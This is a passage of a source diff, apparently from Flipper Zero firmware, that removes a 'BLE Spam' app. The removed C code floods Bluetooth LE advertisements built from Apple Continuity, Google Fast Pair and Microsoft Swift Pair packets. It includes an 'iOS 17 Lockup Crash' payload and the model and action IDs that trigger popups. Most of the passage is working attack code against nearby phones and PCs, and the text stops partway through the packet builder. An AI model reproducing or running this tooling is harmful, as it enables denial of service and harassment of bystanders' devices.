||||||
the "copyright" line and a pointer to where the full notice is found.
|
|
||||||
|
|
||||||
<one line to give the program's name and a brief idea of what it does.>
|
|
||||||
Copyright (C) <year> <name of author>
|
|
||||||
|
|
||||||
This program is free software: you can redistribute it and/or modify
|
|
||||||
it under the terms of the GNU General Public License as published by
|
|
||||||
the Free Software Foundation, either version 3 of the License, or
|
|
||||||
(at your option) any later version.
|
|
||||||
|
|
||||||
This program is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
GNU General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License
|
|
||||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
|
||||||
|
|
||||||
Also add information on how to contact you by electronic and paper mail.
|
|
||||||
|
|
||||||
If the program does terminal interaction, make it output a short
|
|
||||||
notice like this when it starts in an interactive mode:
|
|
||||||
|
|
||||||
<program> Copyright (C) <year> <name of author>
|
|
||||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
|
||||||
This is free software, and you are welcome to redistribute it
|
|
||||||
under certain conditions; type `show c' for details.
|
|
||||||
|
|
||||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
|
||||||
parts of the General Public License. Of course, your program's commands
|
|
||||||
might be different; for a GUI interface, you would use an "about box".
|
|
||||||
|
|
||||||
You should also get your employer (if you work as a programmer) or school,
|
|
||||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
|
||||||
For more information on this, and how to apply and follow the GNU GPL, see
|
|
||||||
<https://www.gnu.org/licenses/>.
|
|
||||||
|
|
||||||
The GNU General Public License does not permit incorporating your program
|
|
||||||
into proprietary programs. If your program is a subroutine library, you
|
|
||||||
may consider it more useful to permit linking proprietary applications with
|
|
||||||
the library. If this is what you want to do, use the GNU Lesser General
|
|
||||||
Public License instead of this License. But first, please read
|
|
||||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
|
||||||
15
applications/external/ble_spam/application.fam
vendored
@@ -1,15 +0,0 @@
|
|||||||
App(
|
|
||||||
appid="ble_spam",
|
|
||||||
name="BLE Spam",
|
|
||||||
apptype=FlipperAppType.EXTERNAL,
|
|
||||||
entry_point="ble_spam",
|
|
||||||
stack_size=4 * 1024,
|
|
||||||
fap_icon="ble_spam_10px.png",
|
|
||||||
fap_category="Bluetooth",
|
|
||||||
fap_author="@Willy-JL @ECTO-1A @Spooks4576",
|
|
||||||
fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam",
|
|
||||||
fap_version="2.0",
|
|
||||||
fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications",
|
|
||||||
fap_icon_assets="icons",
|
|
||||||
fap_icon_assets_symbol="ble_spam",
|
|
||||||
)
|
|
||||||
390
applications/external/ble_spam/ble_spam.c
vendored
@@ -1,390 +0,0 @@
|
|||||||
#include <gui/gui.h>
|
|
||||||
#include <furi_hal_bt.h>
|
|
||||||
#include <gui/elements.h>
|
|
||||||
|
|
||||||
#include "protocols/_registry.h"
|
|
||||||
|
|
||||||
// Hacked together by @Willy-JL
|
|
||||||
// Custom adv API by @Willy-JL (idea by @xMasterX)
|
|
||||||
// iOS 17 Crash by @ECTO-1A
|
|
||||||
// Android and Windows Pairs by @Spooks4576 and @ECTO-1A
|
|
||||||
// Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
|
|
||||||
// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
bool random_mac;
|
|
||||||
const BleSpamProtocol* protocol;
|
|
||||||
BleSpamMsg msg;
|
|
||||||
} Payload;
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
const char* title;
|
|
||||||
const char* text;
|
|
||||||
Payload payload;
|
|
||||||
} Attack;
|
|
||||||
|
|
||||||
static Attack attacks[] = {
|
|
||||||
{
|
|
||||||
.title = "+ Kitchen Sink",
|
|
||||||
.text = "Flood all attacks at once",
|
|
||||||
.payload =
|
|
||||||
{
|
|
||||||
.random_mac = true,
|
|
||||||
.protocol = NULL,
|
|
||||||
.msg = {},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
.title = "iOS 17 Lockup Crash",
|
|
||||||
.text = "Newer iPhones, long range",
|
|
||||||
.payload =
|
|
||||||
{
|
|
||||||
.random_mac = false,
|
|
||||||
.protocol = &ble_spam_protocol_continuity,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.continuity =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeCustomCrash,
|
|
||||||
.data = {},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
.title = "Apple Action Modal",
|
|
||||||
.text = "Lock cooldown, long range",
|
|
||||||
.payload =
|
|
||||||
{
|
|
||||||
.random_mac = false,
|
|
||||||
.protocol = &ble_spam_protocol_continuity,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.continuity =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
.title = "Apple Device Popup",
|
|
||||||
.text = "No cooldown, close range",
|
|
||||||
.payload =
|
|
||||||
{
|
|
||||||
.random_mac = false,
|
|
||||||
.protocol = &ble_spam_protocol_continuity,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.continuity =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
.title = "Android Device Pair",
|
|
||||||
.text = "~15min cooldown, long range",
|
|
||||||
.payload =
|
|
||||||
{
|
|
||||||
.random_mac = true,
|
|
||||||
.protocol = &ble_spam_protocol_fastpair,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.fastpair = {},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
.title = "Windows Device Found",
|
|
||||||
.text = "Requires enabling SwiftPair",
|
|
||||||
.payload =
|
|
||||||
{
|
|
||||||
.random_mac = true,
|
|
||||||
.protocol = &ble_spam_protocol_swiftpair,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.swiftpair = {},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
#define ATTACK_COUNT ((signed)COUNT_OF(attacks))
|
|
||||||
|
|
||||||
uint16_t delays[] = {20, 50, 100, 200};
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
bool resume;
|
|
||||||
bool advertising;
|
|
||||||
uint8_t delay;
|
|
||||||
FuriThread* thread;
|
|
||||||
int8_t index;
|
|
||||||
} State;
|
|
||||||
|
|
||||||
static int32_t adv_thread(void* ctx) {
|
|
||||||
State* state = ctx;
|
|
||||||
uint8_t size;
|
|
||||||
uint16_t delay;
|
|
||||||
uint8_t* packet;
|
|
||||||
uint8_t mac[GAP_MAC_ADDR_SIZE];
|
|
||||||
Payload* payload = &attacks[state->index].payload;
|
|
||||||
if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
|
|
||||||
|
|
||||||
while(state->advertising) {
|
|
||||||
if(payload->protocol) {
|
|
||||||
payload->protocol->make_packet(&size, &packet, &payload->msg);
|
|
||||||
} else {
|
|
||||||
ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet(
|
|
||||||
&size, &packet, NULL);
|
|
||||||
}
|
|
||||||
furi_hal_bt_custom_adv_set(packet, size);
|
|
||||||
free(packet);
|
|
||||||
|
|
||||||
if(payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
|
|
||||||
delay = delays[state->delay];
|
|
||||||
furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F);
|
|
||||||
furi_thread_flags_wait(true, FuriFlagWaitAny, delay);
|
|
||||||
furi_hal_bt_custom_adv_stop();
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void toggle_adv(State* state) {
|
|
||||||
if(state->advertising) {
|
|
||||||
state->advertising = false;
|
|
||||||
furi_thread_flags_set(furi_thread_get_id(state->thread), true);
|
|
||||||
furi_thread_join(state->thread);
|
|
||||||
if(state->resume) furi_hal_bt_start_advertising();
|
|
||||||
} else {
|
|
||||||
state->resume = furi_hal_bt_is_active();
|
|
||||||
furi_hal_bt_stop_advertising();
|
|
||||||
state->advertising = true;
|
|
||||||
furi_thread_start(state->thread);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#define PAGE_MIN (-3)
|
|
||||||
#define PAGE_MAX ATTACK_COUNT
|
|
||||||
enum {
|
|
||||||
PageHelpApps = PAGE_MIN,
|
|
||||||
PageHelpDelay,
|
|
||||||
PageHelpDistance,
|
|
||||||
PageStart = 0,
|
|
||||||
PageEnd = ATTACK_COUNT - 1,
|
|
||||||
PageAboutCredits = PAGE_MAX,
|
|
||||||
};
|
|
||||||
|
|
||||||
static void draw_callback(Canvas* canvas, void* ctx) {
|
|
||||||
State* state = ctx;
|
|
||||||
const char* back = "Back";
|
|
||||||
const char* next = "Next";
|
|
||||||
switch(state->index) {
|
|
||||||
case PageStart - 1:
|
|
||||||
next = "Spam";
|
|
||||||
break;
|
|
||||||
case PageStart:
|
|
||||||
back = "Help";
|
|
||||||
break;
|
|
||||||
case PageEnd:
|
|
||||||
next = "About";
|
|
||||||
break;
|
|
||||||
case PageEnd + 1:
|
|
||||||
back = "Spam";
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
const Attack* attack =
|
|
||||||
(state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL;
|
|
||||||
const Payload* payload = &attack->payload;
|
|
||||||
const BleSpamProtocol* protocol = (attack && payload->protocol) ? payload->protocol : NULL;
|
|
||||||
|
|
||||||
canvas_set_font(canvas, FontSecondary);
|
|
||||||
canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble);
|
|
||||||
canvas_draw_str(canvas, 14, 12, "BLE Spam");
|
|
||||||
|
|
||||||
switch(state->index) {
|
|
||||||
case PageHelpApps:
|
|
||||||
canvas_set_font(canvas, FontBatteryPercent);
|
|
||||||
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
|
|
||||||
elements_text_box(
|
|
||||||
canvas,
|
|
||||||
4,
|
|
||||||
16,
|
|
||||||
120,
|
|
||||||
48,
|
|
||||||
AlignLeft,
|
|
||||||
AlignTop,
|
|
||||||
"\e#Some Apps\e# interfere\n"
|
|
||||||
"with the attacks, stay on\n"
|
|
||||||
"homescreen for best results",
|
|
||||||
false);
|
|
||||||
break;
|
|
||||||
case PageHelpDelay:
|
|
||||||
canvas_set_font(canvas, FontBatteryPercent);
|
|
||||||
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
|
|
||||||
elements_text_box(
|
|
||||||
canvas,
|
|
||||||
4,
|
|
||||||
16,
|
|
||||||
120,
|
|
||||||
48,
|
|
||||||
AlignLeft,
|
|
||||||
AlignTop,
|
|
||||||
"\e#Delay\e# is time between\n"
|
|
||||||
"attack attempts (top right),\n"
|
|
||||||
"keep 20ms for best results",
|
|
||||||
false);
|
|
||||||
break;
|
|
||||||
case PageHelpDistance:
|
|
||||||
canvas_set_font(canvas, FontBatteryPercent);
|
|
||||||
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
|
|
||||||
elements_text_box(
|
|
||||||
canvas,
|
|
||||||
4,
|
|
||||||
16,
|
|
||||||
120,
|
|
||||||
48,
|
|
||||||
AlignLeft,
|
|
||||||
AlignTop,
|
|
||||||
"\e#Distance\e# is limited, attacks\n"
|
|
||||||
"work under 1 meter but a\n"
|
|
||||||
"few are marked 'long range'",
|
|
||||||
false);
|
|
||||||
break;
|
|
||||||
case PageAboutCredits:
|
|
||||||
canvas_set_font(canvas, FontBatteryPercent);
|
|
||||||
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
|
|
||||||
elements_text_box(
|
|
||||||
canvas,
|
|
||||||
4,
|
|
||||||
16,
|
|
||||||
122,
|
|
||||||
48,
|
|
||||||
AlignLeft,
|
|
||||||
AlignTop,
|
|
||||||
"App+Spam: \e#WillyJL\e# XFW\n"
|
|
||||||
"Apple+Crash: \e#ECTO-1A\e#\n"
|
|
||||||
"Android+Win: \e#Spooks4576\e#\n"
|
|
||||||
" Version \e#2.0\e#",
|
|
||||||
false);
|
|
||||||
break;
|
|
||||||
default: {
|
|
||||||
if(!attack) break;
|
|
||||||
char str[32];
|
|
||||||
|
|
||||||
canvas_set_font(canvas, FontBatteryPercent);
|
|
||||||
snprintf(str, sizeof(str), "%ims", delays[state->delay]);
|
|
||||||
canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
|
|
||||||
canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
|
|
||||||
canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
|
|
||||||
|
|
||||||
canvas_set_font(canvas, FontBatteryPercent);
|
|
||||||
snprintf(
|
|
||||||
str,
|
|
||||||
sizeof(str),
|
|
||||||
"%02i/%02i: %s",
|
|
||||||
state->index + 1,
|
|
||||||
ATTACK_COUNT,
|
|
||||||
protocol ? protocol->get_name(&payload->msg) : "Everything");
|
|
||||||
canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
|
|
||||||
|
|
||||||
canvas_set_font(canvas, FontPrimary);
|
|
||||||
canvas_draw_str(canvas, 4, 32, attack->title);
|
|
||||||
|
|
||||||
canvas_set_font(canvas, FontSecondary);
|
|
||||||
canvas_draw_str(canvas, 4, 46, attack->text);
|
|
||||||
|
|
||||||
elements_button_center(canvas, state->advertising ? "Stop" : "Start");
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if(state->index > PAGE_MIN) {
|
|
||||||
elements_button_left(canvas, back);
|
|
||||||
}
|
|
||||||
if(state->index < PAGE_MAX) {
|
|
||||||
elements_button_right(canvas, next);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static void input_callback(InputEvent* input, void* ctx) {
|
|
||||||
FuriMessageQueue* input_queue = ctx;
|
|
||||||
if(input->type == InputTypeShort || input->type == InputTypeLong ||
|
|
||||||
input->type == InputTypeRepeat) {
|
|
||||||
furi_message_queue_put(input_queue, input, 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
int32_t ble_spam(void* p) {
|
|
||||||
UNUSED(p);
|
|
||||||
State* state = malloc(sizeof(State));
|
|
||||||
state->thread = furi_thread_alloc();
|
|
||||||
furi_thread_set_callback(state->thread, adv_thread);
|
|
||||||
furi_thread_set_context(state->thread, state);
|
|
||||||
furi_thread_set_stack_size(state->thread, 4096);
|
|
||||||
|
|
||||||
FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
|
|
||||||
ViewPort* view_port = view_port_alloc();
|
|
||||||
Gui* gui = furi_record_open(RECORD_GUI);
|
|
||||||
view_port_input_callback_set(view_port, input_callback, input_queue);
|
|
||||||
view_port_draw_callback_set(view_port, draw_callback, state);
|
|
||||||
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
|
|
||||||
|
|
||||||
bool running = true;
|
|
||||||
while(running) {
|
|
||||||
InputEvent input;
|
|
||||||
furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
|
|
||||||
|
|
||||||
bool is_attack = state->index >= 0 && state->index <= ATTACK_COUNT - 1;
|
|
||||||
bool advertising = state->advertising;
|
|
||||||
switch(input.key) {
|
|
||||||
case InputKeyOk:
|
|
||||||
if(is_attack) toggle_adv(state);
|
|
||||||
break;
|
|
||||||
case InputKeyUp:
|
|
||||||
if(is_attack && state->delay < COUNT_OF(delays) - 1) {
|
|
||||||
state->delay++;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case InputKeyDown:
|
|
||||||
if(is_attack && state->delay > 0) {
|
|
||||||
state->delay--;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case InputKeyLeft:
|
|
||||||
if(state->index > PAGE_MIN) {
|
|
||||||
if(advertising) toggle_adv(state);
|
|
||||||
state->index--;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case InputKeyRight:
|
|
||||||
if(state->index < PAGE_MAX) {
|
|
||||||
if(advertising) toggle_adv(state);
|
|
||||||
state->index++;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case InputKeyBack:
|
|
||||||
if(advertising) toggle_adv(state);
|
|
||||||
running = false;
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
view_port_update(view_port);
|
|
||||||
}
|
|
||||||
|
|
||||||
gui_remove_view_port(gui, view_port);
|
|
||||||
furi_record_close(RECORD_GUI);
|
|
||||||
view_port_free(view_port);
|
|
||||||
furi_message_queue_free(input_queue);
|
|
||||||
|
|
||||||
furi_thread_free(state->thread);
|
|
||||||
free(state);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
BIN
applications/external/ble_spam/ble_spam_10px.png
vendored
|
Before Width: | Height: | Size: 4.1 KiB |
BIN
applications/external/ble_spam/icons/android.png
vendored
|
Before Width: | Height: | Size: 5.0 KiB |
BIN
applications/external/ble_spam/icons/apple.png
vendored
|
Before Width: | Height: | Size: 4.2 KiB |
BIN
applications/external/ble_spam/icons/ble.png
vendored
|
Before Width: | Height: | Size: 5.0 KiB |
BIN
applications/external/ble_spam/icons/windows.png
vendored
|
Before Width: | Height: | Size: 4.4 KiB |
17
applications/external/ble_spam/protocols/_base.h
vendored
@@ -1,17 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#include <stdint.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <assets_icons.h>
|
|
||||||
#include "ble_spam_icons.h"
|
|
||||||
#include <furi_hal_random.h>
|
|
||||||
#include <core/core_defines.h>
|
|
||||||
|
|
||||||
typedef union BleSpamMsg BleSpamMsg;
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
const Icon* icon;
|
|
||||||
const char* (*get_name)(const BleSpamMsg* _msg);
|
|
||||||
void (*make_packet)(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg);
|
|
||||||
} BleSpamProtocol;
|
|
||||||
@@ -1,9 +0,0 @@
|
|||||||
#include "_registry.h"
|
|
||||||
|
|
||||||
const BleSpamProtocol* ble_spam_protocols[] = {
|
|
||||||
&ble_spam_protocol_continuity,
|
|
||||||
&ble_spam_protocol_fastpair,
|
|
||||||
&ble_spam_protocol_swiftpair,
|
|
||||||
};
|
|
||||||
|
|
||||||
const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols);
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#include "continuity.h"
|
|
||||||
#include "fastpair.h"
|
|
||||||
#include "swiftpair.h"
|
|
||||||
|
|
||||||
union BleSpamMsg {
|
|
||||||
ContinuityMsg continuity;
|
|
||||||
FastpairMsg fastpair;
|
|
||||||
SwiftpairMsg swiftpair;
|
|
||||||
};
|
|
||||||
|
|
||||||
extern const BleSpamProtocol* ble_spam_protocols[];
|
|
||||||
|
|
||||||
extern const size_t ble_spam_protocols_count;
|
|
||||||
@@ -1,276 +0,0 @@
|
|||||||
#include "continuity.h"
|
|
||||||
#include "_registry.h"
|
|
||||||
|
|
||||||
// Hacked together by @Willy-JL
|
|
||||||
// iOS 17 Crash by @ECTO-1A
|
|
||||||
// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
|
|
||||||
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
|
|
||||||
|
|
||||||
static const char* type_names[ContinuityTypeCount] = {
|
|
||||||
[ContinuityTypeAirDrop] = "AirDrop",
|
|
||||||
[ContinuityTypeProximityPair] = "Proximity Pair",
|
|
||||||
[ContinuityTypeAirplayTarget] = "Airplay Target",
|
|
||||||
[ContinuityTypeHandoff] = "Handoff",
|
|
||||||
[ContinuityTypeTetheringSource] = "Tethering Source",
|
|
||||||
[ContinuityTypeNearbyAction] = "Nearby Action",
|
|
||||||
[ContinuityTypeNearbyInfo] = "Nearby Info",
|
|
||||||
[ContinuityTypeCustomCrash] = "Custom Packet",
|
|
||||||
};
|
|
||||||
const char* continuity_get_name(const BleSpamMsg* _msg) {
|
|
||||||
const ContinuityMsg* msg = &_msg->continuity;
|
|
||||||
return type_names[msg->type];
|
|
||||||
}
|
|
||||||
|
|
||||||
#define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
|
|
||||||
static uint8_t packet_sizes[ContinuityTypeCount] = {
|
|
||||||
[ContinuityTypeAirDrop] = HEADER_LEN + 18,
|
|
||||||
[ContinuityTypeProximityPair] = HEADER_LEN + 25,
|
|
||||||
[ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
|
|
||||||
[ContinuityTypeHandoff] = HEADER_LEN + 14,
|
|
||||||
[ContinuityTypeTetheringSource] = HEADER_LEN + 6,
|
|
||||||
[ContinuityTypeNearbyAction] = HEADER_LEN + 5,
|
|
||||||
[ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
|
|
||||||
[ContinuityTypeCustomCrash] = HEADER_LEN + 11,
|
|
||||||
};
|
|
||||||
|
|
||||||
void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
|
|
||||||
const ContinuityMsg* msg = _msg ? &_msg->continuity : NULL;
|
|
||||||
|
|
||||||
ContinuityType type;
|
|
||||||
if(msg) {
|
|
||||||
type = msg->type;
|
|
||||||
} else {
|
|
||||||
const ContinuityType types[] = {
|
|
||||||
ContinuityTypeProximityPair,
|
|
||||||
ContinuityTypeNearbyAction,
|
|
||||||
ContinuityTypeCustomCrash,
|
|
||||||
};
|
|
||||||
type = types[rand() % COUNT_OF(types)];
|
|
||||||
}
|
|
||||||
|
|
||||||
uint8_t size = packet_sizes[type];
|
|
||||||
uint8_t* packet = malloc(size);
|
|
||||||
uint8_t i = 0;
|
|
||||||
|
|
||||||
packet[i++] = size - 1; // Size
|
|
||||||
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
|
|
||||||
packet[i++] = 0x4C; // Company ID (Apple, Inc.)
|
|
||||||
packet[i++] = 0x00; // ...
|
|
||||||
packet[i++] = type; // Continuity Type
|
|
||||||
packet[i] = size - i - 1; // Continuity Size
|
|
||||||
i++;
|
|
||||||
|
|
||||||
switch(type) {
|
|
||||||
case ContinuityTypeAirDrop: {
|
|
||||||
packet[i++] = 0x00; // Zeros
|
|
||||||
packet[i++] = 0x00; // ...
|
|
||||||
packet[i++] = 0x00; // ...
|
|
||||||
packet[i++] = 0x00; // ...
|
|
||||||
packet[i++] = 0x00; // ...
|
|
||||||
packet[i++] = 0x00; // ...
|
|
||||||
packet[i++] = 0x00; // ...
|
|
||||||
packet[i++] = 0x00; // ...
|
|
||||||
packet[i++] = 0x01; // Version
|
|
||||||
packet[i++] = (rand() % 256); // AppleID
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // Phone Number
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // Email
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // Email2
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = 0x00; // Zero
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
case ContinuityTypeProximityPair: {
|
|
||||||
uint16_t model;
|
|
||||||
if(msg && msg->data.proximity_pair.model != 0x0000) {
|
|
||||||
model = msg->data.proximity_pair.model;
|
|
||||||
} else {
|
|
||||||
const uint16_t models[] = {
|
|
||||||
0x0E20, // AirPods Pro
|
|
||||||
0x0620, // Beats Solo 3
|
|
||||||
0x0A20, // AirPods Max
|
|
||||||
0x1020, // Beats Flex
|
|
||||||
0x0055, // Airtag
|
|
||||||
0x0030, // Hermes Airtag
|
|
||||||
0x0220, // AirPods
|
|
||||||
0x0F20, // AirPods 2nd Gen
|
|
||||||
0x1320, // AirPods 3rd Gen
|
|
||||||
0x1420, // AirPods Pro 2nd Gen
|
|
||||||
0x0320, // Powerbeats 3
|
|
||||||
0x0B20, // Powerbeats Pro
|
|
||||||
0x0C20, // Beats Solo Pro
|
|
||||||
0x1120, // Beats Studio Buds
|
|
||||||
0x0520, // Beats X
|
|
||||||
0x0920, // Beats Studio 3
|
|
||||||
0x1720, // Beats Studio Pro
|
|
||||||
0x1220, // Beats Fit Pro
|
|
||||||
0x1620, // Beats Studio Buds+
|
|
||||||
};
|
|
||||||
model = models[rand() % COUNT_OF(models)];
|
|
||||||
}
|
|
||||||
|
|
||||||
uint8_t prefix;
|
|
||||||
if(msg && msg->data.proximity_pair.prefix == 0x00) {
|
|
||||||
prefix = msg->data.proximity_pair.prefix;
|
|
||||||
} else {
|
|
||||||
if(model == 0x0055 || model == 0x0030)
|
|
||||||
prefix = 0x05;
|
|
||||||
else
|
|
||||||
prefix = 0x01;
|
|
||||||
}
|
|
||||||
|
|
||||||
packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
|
|
||||||
packet[i++] = (model >> 0x08) & 0xFF;
|
|
||||||
packet[i++] = (model >> 0x00) & 0xFF;
|
|
||||||
packet[i++] = 0x55; // Status
|
|
||||||
packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
|
|
||||||
packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
|
|
||||||
packet[i++] = (rand() % 256); // Lid Open Counter
|
|
||||||
packet[i++] = 0x00; // Device Color
|
|
||||||
packet[i++] = 0x00;
|
|
||||||
furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
|
|
||||||
i += 16;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
case ContinuityTypeAirplayTarget: {
|
|
||||||
packet[i++] = (rand() % 256); // Flags
|
|
||||||
packet[i++] = (rand() % 256); // Configuration Seed
|
|
||||||
packet[i++] = (rand() % 256); // IPv4 Address
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
case ContinuityTypeHandoff: {
|
|
||||||
packet[i++] = 0x01; // Version
|
|
||||||
packet[i++] = (rand() % 256); // Initialization Vector
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // AES-GCM Auth Tag
|
|
||||||
packet[i++] = (rand() % 256); // Encrypted Payload
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
packet[i++] = (rand() % 256); // ...
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
case ContinuityTypeTetheringSource: {
|
|
||||||
packet[i++] = 0x01; // Version
|
|
||||||
packet[i++] = (rand() % 256); // Flags
|
|
||||||
packet[i++] = (rand() % 101); // Battery Life
|
|
||||||
packet[i++] = 0x00; // Cell Service Type
|
|
||||||
packet[i++] = (rand() % 8); // ...
|
|
||||||
packet[i++] = (rand() % 5); // Cell Service Strength
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
case ContinuityTypeNearbyAction: {
|
|
||||||
uint8_t action;
|
|
||||||
if(msg && msg->data.nearby_action.type != 0x00) {
|
|
||||||
action = msg->data.nearby_action.type;
|
|
||||||
} else {
|
|
||||||
const uint8_t actions[] = {
|
|
||||||
0x13, // AppleTV AutoFill
|
|
||||||
0x27, // AppleTV Connecting...
|
|
||||||
0x20, // Join This AppleTV?
|
|
||||||
0x19, // AppleTV Audio Sync
|
|
||||||
0x1E, // AppleTV Color Balance
|
|
||||||
0x09, // Setup New iPhone
|
|
||||||
0x02, // Transfer Phone Number
|
|
||||||
0x0B, // HomePod Setup
|
|
||||||
0x01, // Setup New AppleTV
|
|
||||||
0x06, // Pair AppleTV
|
|
||||||
0x0D, // HomeKit AppleTV Setup
|
|
||||||
0x2B, // AppleID for AppleTV?
|
|
||||||
};
|
|
||||||
action = actions[rand() % COUNT_OF(actions)];
|
|
||||||
}
|
|
||||||
|
|
||||||
uint8_t flag;
|
|
||||||
if(msg && msg->data.nearby_action.flags != 0x00) {
|
|
||||||
flag = msg->data.nearby_action.flags;
|
|
||||||
} else {
|
|
||||||
flag = 0xC0;
|
|
||||||
if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
|
|
||||||
if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
|
|
||||||
}
|
|
||||||
|
|
||||||
packet[i++] = flag; // Action Flags
|
|
||||||
packet[i++] = action; // Action Type
|
|
||||||
